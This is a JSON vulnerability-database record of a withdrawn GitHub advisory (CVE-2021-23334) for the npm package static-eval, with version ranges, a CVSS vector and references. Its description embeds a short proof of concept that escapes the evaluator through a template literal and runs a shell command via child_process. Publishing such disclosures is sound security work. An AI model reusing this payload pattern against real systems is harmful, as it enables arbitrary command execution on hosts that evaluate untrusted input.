{"id":"GHSA-8v27-2fg9-7h62","revision":"27a3dba6b49a4015a88f28b4427997ca","records":[{"revision":"27a3dba6b49a4015a88f28b4427997ca","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8v27-2fg9-7h62","aliases":["CVE-2021-23334"],"title":"Withdrawn: Arbitrary Code Execution in static-eval","description":"All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.","state":2,"publishedAt":"2021-05-06T16:11:25+00:00","modifiedAt":"2026-09-10T03:49:14.6477773+00:00","affected":[{"ecosystem":"npm","name":"static-eval","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23334","https://github.com/browserify/static-eval/blob/master/index.js%23L180","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860","https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765"],"sourceUrl":"https://github.com/advisories/GHSA-8v27-2fg9-7h62","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8v27-2fg9-7h62","identifiers":["GHSA-8v27-2fg9-7h62","CVE-2021-23334"]},"retained":false,"historicalAffected":[]}],"coverage":[]}